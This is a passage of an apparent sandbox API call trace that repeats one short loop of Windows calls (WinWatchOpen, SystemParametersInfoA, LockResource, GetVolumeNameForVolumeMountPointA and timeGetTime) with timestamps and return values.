lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385d9 [0140.512] WinWatchOpen () returned 0x639b20 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639b40 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639b60 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639b80 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639ba0 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639bc0 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639be0 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385da [0140.513] WinWatchOpen () returned 0x639c00 [0140.513] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.513] LockResource (hResData=0x0) returned 0x0 [0140.513] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.513] WinWatchNotify () returned 0x0 [0140.513] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639c20 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.514] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639c40 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.514] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639c60 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.514] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639c80 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.514] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639ca0 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.514] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639cc0 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.514] timeGetTime () returned 0x11385db [0140.514] WinWatchOpen () returned 0x639ce0 [0140.514] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.514] LockResource (hResData=0x0) returned 0x0 [0140.514] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.514] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dc [0140.515] WinWatchOpen () returned 0x639d00 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.515] LockResource (hResData=0x0) returned 0x0 [0140.515] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.515] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dc [0140.515] WinWatchOpen () returned 0x639d20 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.515] LockResource (hResData=0x0) returned 0x0 [0140.515] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.515] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dc [0140.515] WinWatchOpen () returned 0x639d40 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.515] LockResource (hResData=0x0) returned 0x0 [0140.515] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.515] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dc [0140.515] WinWatchOpen () returned 0x639d60 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.515] LockResource (hResData=0x0) returned 0x0 [0140.515] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.515] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dc [0140.515] WinWatchOpen () returned 0x639d80 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.515] LockResource (hResData=0x0) returned 0x0 [0140.515] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.515] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dc [0140.515] WinWatchOpen () returned 0x639da0 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.515] LockResource (hResData=0x0) returned 0x0 [0140.515] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.515] WinWatchNotify () returned 0x0 [0140.515] timeGetTime () returned 0x11385dd [0140.515] WinWatchOpen () returned 0x639de0 [0140.515] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385dd [0140.516] WinWatchOpen () returned 0x639e00 [0140.516] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385dd [0140.516] WinWatchOpen () returned 0x639e20 [0140.516] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385dd [0140.516] WinWatchOpen () returned 0x639e40 [0140.516] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385dd [0140.516] WinWatchOpen () returned 0x639e60 [0140.516] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385dd [0140.516] WinWatchOpen () returned 0x639e80 [0140.516] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385dd [0140.516] WinWatchOpen () returned 0x639ea0 [0140.516] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.516] LockResource (hResData=0x0) returned 0x0 [0140.516] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.516] WinWatchNotify () returned 0x0 [0140.516] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639ec0 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639ee0 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639f00 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639f20 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639f40 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639f60 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385de [0140.517] WinWatchOpen () returned 0x639f80 [0140.517] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.517] LockResource (hResData=0x0) returned 0x0 [0140.517] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.517] WinWatchNotify () returned 0x0 [0140.517] timeGetTime () returned 0x11385df [0140.517] WinWatchOpen () returned 0x639fa0 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385df [0140.518] WinWatchOpen () returned 0x639fc0 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385df [0140.518] WinWatchOpen () returned 0x639fe0 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385df [0140.518] WinWatchOpen () returned 0x63a000 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385df [0140.518] WinWatchOpen () returned 0x63a020 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385df [0140.518] WinWatchOpen () returned 0x63a040 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385df [0140.518] WinWatchOpen () returned 0x63a060 [0140.518] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.518] LockResource (hResData=0x0) returned 0x0 [0140.518] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.518] WinWatchNotify () returned 0x0 [0140.518] timeGetTime () returned 0x11385e0 [0140.518] WinWatchOpen () returned 0x63a080 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e0 [0140.519] WinWatchOpen () returned 0x63a0a0 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e0 [0140.519] WinWatchOpen () returned 0x63a0c0 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e0 [0140.519] WinWatchOpen () returned 0x63a0e0 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e0 [0140.519] WinWatchOpen () returned 0x63a100 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e0 [0140.519] WinWatchOpen () returned 0x63a120 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e0 [0140.519] WinWatchOpen () returned 0x63a140 [0140.519] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.519] LockResource (hResData=0x0) returned 0x0 [0140.519] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.519] WinWatchNotify () returned 0x0 [0140.519] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a160 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.520] LockResource (hResData=0x0) returned 0x0 [0140.520] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.520] WinWatchNotify () returned 0x0 [0140.520] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a180 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.520] LockResource (hResData=0x0) returned 0x0 [0140.520] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.520] WinWatchNotify () returned 0x0 [0140.520] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a1a0 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.520] LockResource (hResData=0x0) returned 0x0 [0140.520] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.520] WinWatchNotify () returned 0x0 [0140.520] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a1c0 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.520] LockResource (hResData=0x0) returned 0x0 [0140.520] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.520] WinWatchNotify () returned 0x0 [0140.520] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a1e0 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.520] LockResource (hResData=0x0) returned 0x0 [0140.520] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.520] WinWatchNotify () returned 0x0 [0140.520] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a200 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.520] LockResource (hResData=0x0) returned 0x0 [0140.520] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.520] WinWatchNotify () returned 0x0 [0140.520] timeGetTime () returned 0x11385e1 [0140.520] WinWatchOpen () returned 0x63a220 [0140.520] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e2 [0140.521] WinWatchOpen () returned 0x63a240 [0140.521] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] 